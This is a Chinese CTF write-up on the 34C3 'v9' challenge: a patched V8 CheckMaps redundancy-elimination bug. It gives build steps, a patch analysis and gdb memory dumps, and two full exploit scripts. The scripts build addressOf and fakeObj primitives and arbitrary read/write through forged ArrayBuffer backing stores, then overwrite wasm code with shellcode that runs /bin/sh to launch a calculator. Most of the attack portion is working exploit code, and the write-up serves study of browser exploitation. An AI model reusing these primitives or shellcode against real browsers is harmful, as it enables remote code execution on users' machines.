34c3 CTF v9题解

34c3 CTF v9题解

环境搭建

patch文件在v9

1
2
3
4
5
6
7
mkdir v9 && cd v9
fetch v8 && cd v8 # see https://github.com/v8/v8/wiki/Building-from-Source
git checkout 6.3.292.48
gclient sync
patch -p1 < /path/to/v9.patch
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

漏洞分析

补丁如下,在RedundancyElimination::Reduce函数中增加了对于CheckMaps节点的Reduce,调用函数ReduceCheckNode(node)。另一处在函数IsCompatibleCheck中检查第2个参数节点的maps是否包含第1个参数节点的maps,如果存在包含关系则返回true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
#include "src/compiler/redundancy-elimination.h"

#include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"

namespace v8 {
namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
+ } else if (a->opcode() == IrOpcode::kCheckMaps &&
+ b->opcode() == IrOpcode::kCheckMaps) {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
} else {
return false;
}

查看IsCompatibleCheck函数的调用,最终发现存在调用链ReduceCheckNode->EffectPathChecks->IsCompatibleCheck。对于每个参数节点使用LookupCheck函数查看是否有其他的check可以支配node的检查,如果有的话就调用ReplaceWithValue(node, check)node节点替换为check节点,check节点将作为reduction返回调用函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// See if we have another check that dominates us.
if (Node* check = checks->LookupCheck(node)) {
ReplaceWithValue(node, check);
return Replace(check);
}

// Learn from this check.
return UpdateChecks(node, checks->AddCheck(zone(), node));
}

v8使用类似链表的形式保存所有的check节点(CheckHeapObject、CheckMaps等),Check->next指向下一个Check结构体,Check->node表示检查对应的节点。在LookupCheck函数中遍历所有的check->node,检查有无节点同参数节点node相兼容。如果存在某个check节点,其maps节点被node的节点所包含,则返回true,进而导致node节点被check->node节点所替换

1
2
3
4
5
6
7
8
9
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
for (Check const* check = head_; check != nullptr; check = check->next) {
if (IsCompatibleCheck(check->node, node)) {
DCHECK(!check->node->IsDead());
return check->node;
}
}
return nullptr;
}

查看pipeline.cc中调用该节点优化的phase,发现在LoadEliminationPhaseEarlyOptimizationPhase两个阶段中调用了该函数。

因为之前刚调了一个issue能让arr.length = -1,在做这题时开始也想搞到一样的效果,初步想法是将classA包装在一个obj中,初次访问classA后在callback中修改obj的classA为arr,进而修改其length字段的位置为-1。后来试了蛮多代码都没法触发类型混淆,猜测是对象包装对象的话中间的checkMaps比较复杂,不一定能通过patch的代码给消除所有的检查,刚好这次学习也是为了积攒新的漏洞利用的技巧,翻阅了几个师傅的博客后学到了几种不同的利用方式,这里总结一下。

伪造Properties实现任意地址读写

参考de4dcr0w-34c3ctf-chrome-pwn分析

PoC构造

我们可以通过字典对象构造类型混淆,在foo函数中首先访问obj.b,此时有对obj的maps的检查,最后return时我们仍返回此对象,检查的maps依然是对obj做的,因此这里的check在patch后的lookup来看是多余的检查,因而会被消除掉,在回调函数中我们修改obj.b=arr,返回时由于没有类型检查会将对象地址当作浮点数返回,从而leak出任意对象的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function foo(obj,callback){
const x = obj.b;
callback();
return obj.b;
}

let arr = new Array(10);
arr[0] = 1.1;
var hh = {b:13.37};

function evil(){
hh.b = arr;
}

var addr = f2i(foo(hh,evil));

addressOf原语

上面的PoC即可构造出addressOf原语

fake properties

我们首先来看下浮点数对象的内存布局,obj_addr+8存储propertiesproperties+0x10存储obj.b的对象地址,obj_b_addr+0x8存储obj.b的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
DebugPrint: 0x3de5a098ccb1: [JS_OBJECT_TYPE]
- map = 0x9fb0138c661 [FastProperties]
- prototype = 0x5e7870846a9
- elements = 0x10122a982251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x3de5a098cd59 <PropertyArray[3]> {
#a: <unboxed double> 1.1 (data field 0)
#b: 0x3de5a098cd81 <MutableNumber 1.337> (data field 1) properties[0]
}
0x9fb0138c661: [Map]
- type: JS_OBJECT_TYPE
- instance size: 32
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 2
- enum length: invalid
- stable_map
- back pointer: 0x9fb0138c611 <Map(HOLEY_ELEMENTS)>
- instance descriptors (own) #2: 0x3de5a098cd09 <FixedArray[8]>
- layout descriptor: 0x100000000
- prototype: 0x5e7870846a9 <Object map = 0x9fb013822a1>
- constructor: 0x5e7870846e1 <JSFunction Object (sfi = 0x10122a9a3b59)>
- dependent code: 0x10122a982251 <FixedArray[0]>
- construction counter: 0
gdb-peda$ telescope 0x3de5a098ccb1-1
0000| 0x3de5a098ccb0 --> 0x9fb0138c661 --> 0x400003feedac022
0008| 0x3de5a098ccb8 --> 0x3de5a098cd59([1] properties) --> 0x3feedac031
0016| 0x3de5a098ccc0 --> 0x10122a982251 --> 0x3feedac022
gdb-peda$ telescope 0x3de5a098cd59-1
0000| 0x3de5a098cd58 --> 0x3feedac031a1 --> 0x3feedac022
0008| 0x3de5a098cd60 --> 0x300000000
0016| 0x3de5a098cd68 --> 0x3de5a098cd81([2] obj.b) --> 0x3100003feedac02e
gdb-peda$ telescope 0x3de5a098cd81-1
0000| 0x3de5a098cd80 --> 0x3feedac02e31 --> 0x200003feedac022
0008| 0x3de5a098cd88 --> 0x3ff5645a1cac0831([3] obj.b.val)
0016| 0x3de5a098cd90 --> 0xdeadbeedbeadbeef
gdb-peda$ p {double} 0x3de5a098cd88
$1 = 1.337

通过之前的PoC我们已经能够修改obj.b为其他对象fake_obj,当我们使用obj.b=val赋值时对应到内存区域实际是对fake_obj->properties进行赋值.

构造如下的PoC,覆盖hh.b=victim调试观察

1
2
3
4
var victim = {inline:42};
victim.offset0 = {};
victim.offset8 = {};
victim.offset16 = {};

观察发现victim.offsetx对象的位置均在properties后,假如我们伪造propertiesArrayBuffer_addr,则victim.offset16刚好对应到ArrayBuffer->backing_store的存储位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DebugPrint: 0x116f34503bb1: [JS_OBJECT_TYPE]
- map = 0x23b69238c8e1 [FastProperties]
- prototype = 0x3f5df9f846a9
- elements = 0x38339e002251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x38339e0049e9 <PropertyArray[0]> {
#b: 0x116f34569bf9 <Object map = 0x23b69238c891> (data field 0)
DebugPrint: 0x116f34569bf9: [JS_OBJECT_TYPE]
- map = 0x23b69238c891 [FastProperties]
- prototype = 0x3f5df9f846a9
- elements = 0x38339e002251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x116f34569cd9 <PropertyArray[3]> {
#inline: 42 (data field 0)
#offset0: 0x116f34569c51 <Object map = 0x23b692382391> (data field 1) properties[0]
#offset8: 0x116f34569d01 <Object map = 0x23b692382391> (data field 2) properties[1]
#offset16: 0x116f34569da1 <Object map = 0x23b692382391> (data field 3) properties[2]
}
gdb-peda$ telescope 0x116f34569bf9-1
0000| 0x116f34569bf8 --> 0x23b69238c891 --> 0x400002b0c15a822
0008| 0x116f34569c00 --> 0x116f34569cd9 --> 0x2b0c15a831(obj.b的val位置,对应victim->properties)
gdb-peda$ telescope 0x116f34569cd9-1
0000| 0x116f34569cd8 --> 0x2b0c15a831a1 --> 0x2b0c15a822
0008| 0x116f34569ce0 --> 0x300000000
0016| 0x116f34569ce8 --> 0x116f34569c51 --> 0x51000023b6923823(offset0)
0024| 0x116f34569cf0 --> 0x116f34569d01 --> 0x51000023b6923823(offset8)
0032| 0x116f34569cf8 --> 0x116f34569da1 --> 0x51000023b6923823(offset16)

如下所示为我们构造出backing_storeoffset16位置相同的情形。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//伪造后的dic,0xxx64b1为victim对象地址
DebugPrint: 0x1e35ef8022c9: [JS_OBJECT_TYPE]
- map = 0x3446f238ca21 [FastProperties]
- prototype = 0x8f9bd9846a9
- elements = 0x10dc9ba82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x263969b926b1 <PropertyArray[3]> {
#a: 1 (data field 0)
#b: 0x1ef2e2e064b1 <Object map = 0x3446f238c841> (data field 1) properties[0]
}
//victim对象地址,注意此时的properties已经改为了ArrayBuffer的地址0xxx6461
DebugPrint: 0x1ef2e2e064b1: [JS_OBJECT_TYPE] in OldSpace
- map = 0x3446f238c841 [FastProperties]
- prototype = 0x8f9bd9846a9
- elements = 0x10dc9ba82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x1ef2e2e06461 <ArrayBuffer map = 0x3446f2382f71> {
#inline: 42 (data field 0)
#offset0: 0x10dc9ba82251 <FixedArray[0]> (data field 1) properties[0]
#offset8: 200 (data field 2) properties[1]
#offset16: 21917 (data field 3) properties[2]
}
//ArrayBuffer对象
DebugPrint: 0x1ef2e2e06461: [JSArrayBuffer] in OldSpace
- map = 0x3446f2382f71 [FastProperties]
- prototype = 0x8f9bd98b7b9
- elements = 0x10dc9ba82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x559d0141c4a0
- byte_length = 200
- neuterable
- properties = 0x10dc9ba82251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
//
gdb-peda$ telescope 0x1ef2e2e06461-1
0000| 0x1ef2e2e06460 --> 0x3446f2382f71 --> 0xa000033ff993822
0008| 0x1ef2e2e06468 --> 0x10dc9ba82251 --> 0x33ff993822
0016| 0x1ef2e2e06470 --> 0x10dc9ba82251 --> 0x33ff993822 (offset0)
0024| 0x1ef2e2e06478 --> 0xc800000000 (offset8)
0032| 0x1ef2e2e06480 --> 0x559d0141c4a0 --> 0x0 (offset16)

arbRead/arbWrite原语

在前面伪造properties的基础上,我们修改data_buf->backing_store指向另一个ArrayBuffer,victim.offset16 = view_buf,当我们使用var data_view = new DataView(data_buf);data_view.setFloat64(31,addr,true)时,实际上是对view_buf+0x20处赋值addr,而这个位置恰好对应view_buf->backing_store,因此再调用view_view = new DataView(view_buf);view_view.getFloat64(0,true)时读取的对象为addr处的值。同理也可使用setUint8向该地址处写值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var data_buf_addr = addressOf(data_buf);
console.log("[+]data_buf addr : " + hex(data_buf_addr));

fakeProperties(victim,i2f(data_buf_addr+1));
//--------------------------------------------
var data_view = new DataView(data_buf);
var view_buf = new ArrayBuffer(200);
//victim.offset16 = i2f(addressOf(view_buf));
victim.offset16 = view_buf;
// %DebugPrint(data_buf);
// %SystemBreak();
function arbRead(addr){
//view_buf+0x20 -> view_buf.backing_store = addr
data_view.setFloat64(31,i2f(addr),true);
var view_view = new DataView(view_buf);
return f2i(view_view.getFloat64(0,true));
}

function ardWrite(addr,payload){
//view_buf+0x20 -> view_buf.backing_store = addr
data_view.setFloat64(31,i2f(addr),true);
var view_view = new DataView(view_buf);
for(let i = 0; i < payload.length; i++){
view_view.setUint8(i,payload[i],true);
}

}

leak wasm code

我们将wasm_function对象作为一个新的成员加入到data_buf中,再通过任意地址写依次读取data_buf_maps->maps_instance->instance_wasm_function,得到该对象地址后再获取shared_info_addr->code_addr->wasm_code_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function addressOfWasmObj(obj){
data_buf.leak_obj = obj;
var map_addr = arbRead(data_buf_addr)-1;
var instance_addr = arbRead(map_addr+0x30)-1;

var wasm_addr = arbRead(instance_addr+0x30)-1;
return wasm_addr;
}
var f_addr = addressOfWasmObj(f);
console.log("[+]f addr : " + hex(f_addr));
var shared_info_addr = arbRead(f_addr+0x20)-1;
console.log("[+]shared info addr : " + hex(shared_info_addr));
var code_addr = arbRead(shared_info_addr+8)-1;
console.log("[+]code addr : " + hex(code_addr));
var wasm_code_addr = code_addr+(0x100-0xa0);
console.log("[+]wasm code addr : " + hex(wasm_code_addr));

exp.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
function gc()
{
for(var i = 0;i < ((1024*1024));i++){
var a = new String();
}
}

var buf8 = new ArrayBuffer(8);
var f64 = new Float64Array(buf8);
var u32 = new Uint32Array(buf8);

function i2f(u){
let r = [];
r[0] = parseInt(u % 0x100000000);
r[1] = parseInt((u - r[0]) / 0x100000000);
u32.set(r);
return f64[0];
}

function f2i(d){
f64[0] = d;
let r = Array.from(u32);
return r[1]*0x100000000 + r[0];
}

function hex(i){
return i.toString(16).padStart(16,"0");
}

// create a dataview
//var buf = new ArrayBuffer(0x8);
//var dv = new DataView(buf);


// const getMethods = (obj) => {
// let properties = new Set()
// let currentObj = obj
// do {
// Object.getOwnPropertyNames(currentObj).map(item => properties.add(item))
// } while ((currentObj = Object.getPrototypeOf(currentObj)))
// return [...properties.keys()].filter(item => typeof obj[item] === 'function')
// }

// console.log(getMethods(dv));

function addressOf(obj){
var hh = {b:13.37};

function foo(obj,callback){
const x = obj.b;
callback();
return obj.b;
}

function evil(){
hh.b = obj;
}

for(var i = 0; i < 0x10000; i++){
foo(hh,()=>1);
}

var addr = f2i(foo(hh,evil))-1;
return addr;
}

function fakeProperties(obj,property){
var dic = {a:1};
dic.b = 133.7
function foo1(obj,callback,val){
const x = obj.b;
callback();
obj.b = val;
return obj.b;
}

function evil(){
dic.b = obj;
}

for(var i = 0; i < 0x10000; i++){
foo1(dic,()=>1,property);
}

var addr = f2i(foo1(dic,evil,property))-1;
//%DebugPrint(dic);
//%SystemBreak();
return addr;
}

//--------------------------------------------
var data_buf = new ArrayBuffer(200);
var victim = {inline:42};
victim.offset0 = {};
victim.offset8 = {};
victim.offset16 = {};
gc();
var data_buf_addr = addressOf(data_buf);
console.log("[+]data_buf addr : " + hex(data_buf_addr));

fakeProperties(victim,i2f(data_buf_addr+1));
//--------------------------------------------
var data_view = new DataView(data_buf);
var view_buf = new ArrayBuffer(200);
//victim.offset16 = i2f(addressOf(view_buf));
victim.offset16 = view_buf;
// %DebugPrint(data_buf);
// %SystemBreak();
function arbRead(addr){
//view_buf+0x20 -> view_buf.backing_store = addr
data_view.setFloat64(31,i2f(addr),true);
var view_view = new DataView(view_buf);
return f2i(view_view.getFloat64(0,true));
}

function ardWrite(addr,payload){
//view_buf+0x20 -> view_buf.backing_store = addr
data_view.setFloat64(31,i2f(addr),true);
var view_view = new DataView(view_buf);
for(let i = 0; i < payload.length; i++){
view_view.setUint8(i,payload[i],true);
}

}

//wasm method
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;

function addressOfWasmObj(obj){
data_buf.leak_obj = obj;
var map_addr = arbRead(data_buf_addr)-1;
var instance_addr = arbRead(map_addr+0x30)-1;

var wasm_addr = arbRead(instance_addr+0x30)-1;
return wasm_addr;
}
var f_addr = addressOfWasmObj(f);
console.log("[+]f addr : " + hex(f_addr));
var shared_info_addr = arbRead(f_addr+0x20)-1;
console.log("[+]shared info addr : " + hex(shared_info_addr));
var code_addr = arbRead(shared_info_addr+8)-1;
console.log("[+]code addr : " + hex(code_addr));
var wasm_code_addr = code_addr+(0x100-0xa0);
console.log("[+]wasm code addr : " + hex(wasm_code_addr));

let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];

ardWrite(wasm_code_addr,sc);
f();

总结

这种攻击技巧利用了字典对象中非数字对象的存储位置,我们并非开始就构造obj={a:1,b:1.2},而是动态添加的方式obj.b=1.337,这使得obj.b第一次在回调函数中被赋值存在类型检查victim时victim对象地址替代了obj.b的对象地址,第二次obj.b被赋值为fakeProperties缺失类型检查obj.b对象依然按照之前的对象存储value的位置进行赋值操作,进而往victim->properties写入了data_buf_addr

对于victim对象来说其victim.offsetx位置由properties决定,properties+0x20处存储的offset16刚好对应data_buf->backing_store,故可通过修改offset16来修改data_buf->backing_store指向另一个ArrayBuffer,通过指定偏移31又可以修改后者的backing_store,从而实现任意地址读写。

fakeArrayBuffer

leak ArrayBuffer prototype && constructor

1
2
var ab_proto_addr = addressOf(ab.__proto__);
var ab_constructor_addr = ab_proto_addr - 0x1b0;

fake ArrayBuffer maps

伪造ArrayBuffermaps如下,因为fake_map=[a,b,c]的形式下obj_addrelements_addr地址偏移不固定,所以参考姚老板的trick用字典对象。

1
2
3
var fake_map = {x1:i2f(0xdaba0000daba0000),x2:i2f(0x1900c60f00000a),x3:i2f(0x82003ff),x4:-1.1263976280432204e+129,x5:-1.1263976280432204e+129,x6:0.0};
fake_map.x4 = i2f(ab_proto_addr+0x1);
fake_map.x5 = i2f(ab_constructor_addr+0x1);;

fake ArrayBuffer

伪造backing_store只需修改y5即可

1
let fake_ab = {y1:i2f(fake_map_elements_addr+0x10+1),y2:i2f(fake_map_elements_addr+0x10+1),y3:i2f(fake_map_elements_addr+0x10+1),y4:i2f(0x40000000000),y5:i2f(fake_map_elements_addr+0x10),y6:i2f(0x4)};

fakeObj

callbackarr[0] = {};arr[0]变为对象,arr[0] = i2f(addr+1)赋值时缺失类型检查,arr[0]处存放的对象地址被改为addr+1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
arr = [1.1,2.2,3.3];
function fakeObj(addr){

function foo(obj,callback,addr){
const x = arr[0];
callback();
arr[0] = i2f(addr+1);
return obj;
}

function evil(){
arr[0] = {};
}

for(var i = 0; i < 0x10000; i++){
foo(arr,()=>1,1.1);
}

foo(arr,evil,addr);
}

任意地址读写

可以劫持backing_store就可以实现任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
fakeObj(fake_ab_elements_addr+0x10);
var fake_ab_obj = arr[0];
var data_view = new DataView(fake_ab_obj);
console.log("[+]f addr : " + hex(f_addr));
//%DebugPrint(f);

//--------------------arbRead/arbWrite------------------------
function arbRead(addr){
//hijack the backing_store
fake_ab.y5 = i2f(addr);
var val = data_view.getFloat64(0,true);
//console.log("[+]addr of arbRead is : " + val.toString)
return f2i(val);
}
function arbWrite(addr,payload){
//hijack the backing_store
fake_ab.y5 = i2f(addr);
for(var i = 0; i < payload.length; i++){
data_view.setUint8(i,payload[i]);
}
}

exp.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
function gc()
{
for(var i = 0;i < ((1024*1024));i++){
var a = new String();
}
}

var buf8 = new ArrayBuffer(8);
var f64 = new Float64Array(buf8);
var u32 = new Uint32Array(buf8);

function i2f(u){
let r = [];
r[0] = parseInt(u % 0x100000000);
r[1] = parseInt((u - r[0]) / 0x100000000);
u32.set(r);
return f64[0];
}

function f2i(d){
f64[0] = d;
let r = Array.from(u32);
return r[1]*0x100000000 + r[0];
}

function hex(i){
return i.toString(16).padStart(16,"0");
}

function addressOf(obj){
var hh = {b:13.37};

function foo(obj,callback){
const x = obj.b;
callback();
return obj.b;
}

function evil(){
hh.b = obj;
}

for(var i = 0; i < 0x10000; i++){
foo(hh,()=>1);
}

var addr = f2i(foo(hh,evil))-1;
return addr;
}


//--------------------leak maps------------------------

var ab = new ArrayBuffer(0x20);
gc();
var ab_proto_addr = addressOf(ab.__proto__);
var ab_constructor_addr = ab_proto_addr - 0x1b0;
console.log("[+]ab proto addr : " + hex(ab_proto_addr));


//--------------------fake maps------------------------
gc();
//obj+152->elements
// var fake_map = [
// i2f(0), //how to deal with it
// i2f(0x1900c60f00000a),
// i2f(0x82003ff),
// i2f(ab_proto_addr+1),
// i2f(ab_constructor_addr+1),
// i2f(0),
// i2f(0x1800841500000a),
// i2f(0x2003ff)
// ];
var fake_map = {x1:i2f(0xdaba0000daba0000),x2:i2f(0x1900c60f00000a),x3:i2f(0x82003ff),x4:-1.1263976280432204e+129,x5:-1.1263976280432204e+129,x6:0.0};
fake_map.x4 = i2f(ab_proto_addr+0x1);
fake_map.x5 = i2f(ab_constructor_addr+0x1);;
gc();
function addressOf1(obj){
var hh = {a:1,b:13.37};

function foo(obj,callback){
const x = obj.b;
callback();
return obj.b;
}

function evil(){
hh.b = obj;
}

for(var i = 0; i < 0x10000; i++){
foo(hh,()=>1);
}

var addr = f2i(foo(hh,evil))-1;
return addr;
}
gc();
// %DebugPrint(fake_map);
// %SystemBreak();
var fake_map_addr = addressOf1(fake_map);
var fake_map_elements_addr = fake_map_addr + 0x8;
console.log("[+]fake map addr : " + hex(fake_map_elements_addr));
//real element : +0x10
//--------------------fake ArrayBuffer------------------------
gc();
function addressOf2(obj){
var hh = {a:1,b:13.37,c:23.33};

function foo(obj,callback){
const x = obj.b;
callback();
return obj.b;
}

function evil(){
hh.b = obj;
}

for(var i = 0; i < 0x10000; i++){
foo(hh,()=>1);
}

var addr = f2i(foo(hh,evil))-1;
return addr;
}
// var fake_ab = [
// i2f(fake_map_elements_addr+0x10+1), //ab_maps
// i2f(fake_map_elements_addr+0x10+1), //elements
// i2f(fake_map_elements_addr+0x10+1), //properties
// i2f(0x4000000000), //length
// i2f(fake_map_elements_addr+0x10), //backing_store
// i2f(0x4),
// ];
let fake_ab = {y1:i2f(fake_map_elements_addr+0x10+1),y2:i2f(fake_map_elements_addr+0x10+1),y3:i2f(fake_map_elements_addr+0x10+1),y4:i2f(0x40000000000),y5:i2f(fake_map_elements_addr+0x10),y6:i2f(0x4)};
gc();
var fake_ab_addr = addressOf2(fake_ab);
var fake_ab_elements_addr = fake_ab_addr + 0x8;
console.log("[+]fake ab elements addr : " + hex(fake_ab_elements_addr));
//
//wasm method
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;
function addressOf3(obj){
var hh = {a:1,b:13.37,c:23.33,d:44.44,e:55.55};

function foo(obj,callback){
const x = obj.b;
callback();
return obj.b;
}

function evil(){
hh.b = obj;
}

for(var i = 0; i < 0x10000; i++){
foo(hh,()=>1);
}

var addr = f2i(foo(hh,evil))-1;
return addr;
}
var f_addr = addressOf3(f);
// %DebugPrint(f);
// %SystemBreak();
//--------------------fake Obj------------------------
arr = [1.1,2.2,3.3];
function fakeObj(addr){

function foo(obj,callback,addr){
const x = arr[0];
callback();
arr[0] = i2f(addr+1);
return obj;
}

function evil(){
arr[0] = {};
}

for(var i = 0; i < 0x10000; i++){
foo(arr,()=>1,1.1);
}

foo(arr,evil,addr);
//%DebugPrint(ab);
// %DebugPrint(arr);
// %DebugPrint(arr[0]);
// %SystemBreak();
}
fakeObj(fake_ab_elements_addr+0x10);
var fake_ab_obj = arr[0];
var data_view = new DataView(fake_ab_obj);
console.log("[+]f addr : " + hex(f_addr));
//%DebugPrint(f);

//--------------------arbRead/arbWrite------------------------
function arbRead(addr){
//hijack the backing_store
fake_ab.y5 = i2f(addr);
var val = data_view.getFloat64(0,true);
//console.log("[+]addr of arbRead is : " + val.toString)
return f2i(val);
}
function arbWrite(addr,payload){
//hijack the backing_store
fake_ab.y5 = i2f(addr);
for(var i = 0; i < payload.length; i++){
data_view.setUint8(i,payload[i]);
}
}
var shared_info_addr = arbRead(f_addr+0x20)-1;
console.log("[+]shared info addr : " + hex(shared_info_addr));
var code_addr = arbRead(shared_info_addr+8)-1;
console.log("[+]code addr : " + hex(code_addr));
var wasm_code_addr = code_addr+(0x100-0xa0);
console.log("[+]wasm code addr : " + hex(wasm_code_addr));

let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];

arbWrite(wasm_code_addr,sc);
f();
// %DebugPrint(fake_ab_obj);
// %DebugPrint(data_view);
// %SystemBreak();
//%DebugPrint(fake_ab_obj);

shrink Object

这种方法是从2019师傅姚老板那里学到的

内存布局

我们以下面的代码为例调试观察

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function gc() { 
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}
let obj = {a:1.1,b:1.2,c:1.3,d:1.4,e:1.5};
%DebugPrint(obj);
%SystemBreak();
delete obj['d'];
%DebugPrint(obj);
%SystemBreak();
gc();
%DebugPrint(obj);
%SystemBreak();

obj是一个字典对象,正常是FastProperties,在其obj_addr+0x18处存放字典的in-object属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
DebugPrint: 0x3f088da8cda9: [JS_OBJECT_TYPE]
- map = 0x12195140c751 [FastProperties]
- prototype = 0x72a068046a9
- elements = 0x3a94c8c82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x3a94c8c82251 <FixedArray[0]> {
#a: <unboxed double> 1.1 (data field 0)
#b: <unboxed double> 1.2 (data field 1)
#c: <unboxed double> 1.3 (data field 2)
#d: <unboxed double> 1.4 (data field 3)
#e: <unboxed double> 1.5 (data field 4)
}
gdb-peda$ telescope 0x3f088da8cda9-1
0000| 0x3f088da8cda8 --> 0x12195140c751 --> 0x8000002b2938822
0008| 0x3f088da8cdb0 --> 0x3a94c8c82251 --> 0x2b2938822
0016| 0x3f088da8cdb8 --> 0x3a94c8c82251 --> 0x2b2938822
0024| 0x3f088da8cdc0 --> 0x3ff199999999999a
